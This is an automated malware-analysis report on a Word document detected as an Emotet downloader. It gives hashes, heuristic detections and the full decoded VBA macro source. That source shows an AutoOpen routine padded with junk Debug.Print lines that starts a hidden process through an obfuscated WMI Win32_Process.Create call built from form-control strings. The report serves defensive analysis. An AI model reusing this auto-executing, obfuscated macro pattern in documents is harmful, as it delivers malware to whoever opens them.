Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78ffb57029417492…

MALICIOUS

Office (OLE)

130.4 KB Created: 2019-05-29 21:25:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 9261027c92655fb19691710da977b4df SHA-1: 2807a156e3eb98b50d9d46946dbc1f218dc3f5c6 SHA-256: 78ffb5702941749252535561faa714f0bc6dd5f2aff61f4b89ebf258030aad3a
250 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    CreateObject(("winmg" _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(("winmg" _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen( _
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6501 bytes
SHA-256: 5a3facb95e8891c7ddea38ec674434d29c13ecdc74cba6bd6935cb171d64a74d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "ZcNnEdo, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "kww7SAA, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "jmVumU, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   'Debug.Print "w3YcARq" + ("735" + ("ui9FnjIw") + "Frbfkd" + "230") + "jw9fzFBt" + ("vwE8iE") + ("aYYiEE" + "Oa43hCO" + "888" + ("wCL_m2jt") + ("Bv5b5Lt" + ("Hr4Zbzm") + "840" + ("705") + ("iLamIpGj" + ("781"))))
Debug.Print "SOvUhhb0" + ("343" + ("WYPDnu") + "A3L0v1" + "333") + "MFMS6J" + ("iHREZuM") + ("nBWEBWV" + "GKQ_iMP" + "139" + ("G3jO6Z") + ("u7mI0aU" + ("wNNu3f") + "394" + ("31") + ("ioF1Q_8" + ("430"))))
j2vz2Xz
   'Debug.Print "kqvunvj" + ("869" + ("ujYzXXjz") + "IzbUvmj" + "3") + "qks5w3Z" + ("u6KztGqw") + ("F6Wifb6P" + "AMjNkBT3" + "500" + ("wPBztA_") + ("Ez2Bir" + ("Lc5m0R") + "781" + ("693") + ("LszzTsdJ" + ("664"))))
Debug.Print "nb7iN6M" + ("343" + ("ujNoCH5_") + "GXDwAb" + "265") + "dZBHcc" + ("DvXkWzRU") + ("IQkkJrF" + "TJiworM" + "968" + ("XwMBJzOl") + ("dzb33GPk" + ("RB7Doz") + "534" + ("990") + ("I2_dqw9O" + ("426"))))
End Sub


Attribute VB_Name = "zRkkXZ1H"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "str6Z3Ms"

Attribute VB_Name = "YBOpFbj9"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "CII3CH"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lVr36URi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "DjjSCQ9r"
Function j2vz2Xz()
   'Debug.Print "zorNS4" + ("758" + ("wuLMYOn") + "PE9EYEM" + "666") + "lAS5ZwjD" + ("rWlUJFz") + ("LWUp9GLE" + "jBnW1f" + "561" + ("oYzLl7u8") + ("wSRY1Sk" + ("RzOurwZ") + "418" + ("217") + ("qkZ8CbZK" + ("715"))))
Debug.Print "Isb89V" + ("629" + ("MGOVDi") + "TMfj8t" + "812") + "RWZ5ZqlH" + ("Pv2Dza8") + ("SE5iwRzj" + "L_nlDBRY" + "161" + ("jObCWXh") + ("EAMG0zb4" + ("jKWZZhq") + "157" + ("786") + ("CzrRu2c" + ("448"))))
LDG3FL = ThisDocument.kww7SAA + ThisDocument.jmVumU + ThisDocument.ZcNnEdo
   'Debug.Print "ARsXQl0" + ("516" + ("XcA2whqM") + "n0Cwz8" + "581") + "C1jfPLc" + ("P3Jwbm") + ("BiKM_U" + "pBP5lT" + "9" + ("nB48vq") + ("a5w80h" + ("n7BTUD") + "500" + ("996") + ("HMik_2p" + ("773"))))
Debug.Print "jEQ42Hi" + ("435" + ("qfzqzY") + "jsh4rT" + "521") + "w68RN21" + ("iJdMkEO8") + ("T4vl4iF" + "pX9Wum" + "543" + ("Blo_HHu1") + ("Gdpuq3u" + ("QEwH4z") + "758" + ("326") + ("mlBiZ7CA" + ("392"))))
CreateObject(("winmg" _
+ "mts:Win" + _
"32_Process")).Create# LDG3FL, Czl1lInR, rksq5icm, wWNvOivN
   'Debug.Print "FmvNRalm" + ("133" + ("IdtmCMz") + "n5wpGh3" + "567") + "fiKquNP" + ("QFQqkCi") + ("HqBJZj" + "sGHujB" + "679" + ("CAw_Ywl") + ("WfNMmm6z" + ("XcIosh") + "373" + ("144") + ("nDkBG_i1" + ("93"))))
Debug.Print "WwaFd_pi" + ("508" + ("faMB6WFc") + "FrOW7MG" + "620") + "kpYBrt" + ("ctp03_") + ("qEEHun" + "QFLthz" + "558" + ("nE8BLUM") + ("vT_IzP5w" + ("cAVE7K") + "696" + ("611") + ("kwKwlH6j" + ("125"))))
End Function


Attribute VB_Name = "Q4tbNMQ7"
Function rksq5icm()
   'Debug.Print "ir9pj6" + ("979" + ("wLzjuU") + "tYlQbVs" + "789") + "rz_j2uYz" + ("N_WLoJWj") + ("OVkLjtC0" + "N3S9IlE" + "423" + ("H6wOK4") + ("jS0IAcp" + ("q_IrZl") + "162" + ("502") + ("UCCF8Oun" + ("363"))))
Debug.Print "AqrmW7Y" + ("118" + ("QnYPaMVu") + "mwLoXkM" + "33") + "qS92wT" + ("CqwYh2") + ("h2jBY5C" + "MfDPwuW" + "218" + ("ApicGw") + ("i3VPVj97" + ("t46QDPi") + "823" + ("384") + ("waK8wD" + ("753"))))
Set rksq5icm = CreateObject(("winmg" _
+ "mts:Win" + "32_Processstar" _
+ "tup"))
   'Debug.Print "ZH4rzpmF" + ("688" + ("DBatu9c5") + "Rni30L" + "857") + "tMDAd_" + ("sNZ53C") + ("UH3EQNZ" + "HfY12iv" + "718" + ("pAB9tB6l") + ("WdklXk" + ("PzpzjjUf") + "333" + ("224") + ("hLQSGiXK" + ("143"))))
Debug.Print "jtWDr7w" + ("459" + ("nazGAff") + "jrj9iP" + "204") + "tM62PcB" + ("Xnkhwu") + ("ndMF_4j7" + "DwzzioTk" + "83" + ("JUE8VCAo") + ("qoofuFZ5" + ("w4z9SVo") + "153" + ("931") + ("iw_jIH" + ("138"))))
With rksq5icm
   'Debug.Print "ikSBERj" + ("378" + ("jcRPVof") + "rEcVkOQ" + "172") + "z8zmDNDX" + ("vp9PvsD") + ("jmFoBwW" + "kzwG3r" + "162" + ("rOCRRisi") + ("Kk3Kpv" + ("uTvwrA") + "825" + ("665") + ("qwQFG3NY" + ("390"))))
Debug.Print "f7dnPA" + ("656" + ("HW5mQWF") + "BcmQ2uX" + "850") + "z9QWjvS" + ("JbAK1m") + ("vo1uzL3" + "lVFuPZ4K" + "836" + ("zU39_z2F") + ("ooIRdN" + ("KzZ_mC9R") + "559" + ("934") + ("z_91dk" + ("776"))))
. _
ShowWindow = QwVq7r + oMlbn4i + rAsO7D6S + Qz4ba_Md + zGQUGJ2
   'Debug.Print "ifHGOHqo" + ("638" + ("isYqS3") + "a_W7GNv" + "492") + "ZIDmi8d" + ("NcQzaaM5") + ("AKZwtl8T" + "udn_0J" + "371" + ("LbMF9B") + ("K7j5Tf" + ("aFUVAin6") + "201" + ("10") + ("NwRCO2Cb" + ("809"))))
Debug.Print "oiWuYDH" + ("592" + ("RiDCnCqw") + "zPV_Zpdq" + "454") + "sapiwp" + ("sFaw17") + ("AmzWnj" + "bMWUulb" + "139" + ("YDYi1X3j") + ("bbjDFacE" + ("dVOKBl") + "302" + ("486") + ("hRSAdR" + ("829"))))
End With
   'Debug.Print "DjYH_5P" + ("697" + ("lbsMFU") + "s_AhVEI3" + "41") + "OuOW_3w" + ("aXkj0tQ") + ("wLcEBfc" + "JT_I3WN" + "665" + ("EtVThUO") + ("ZjmwVXG" + ("Ksu5ZV") + "588" + ("488") + ("aNTTRzs" + ("764"))))
Debug.Print "vuzBCG9k" + ("502" + ("npLcuvMU") + "C139MLPU" + "26") + "a1Hd7t2" + ("A_1mwiH") + ("BjbmK46" + "r7tPiB" + "152" + ("D_zCVBms") + ("NMpDYz_H" + ("iOjAoAXp") + "768" + ("509") + ("btD3u_K" + ("411"))))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.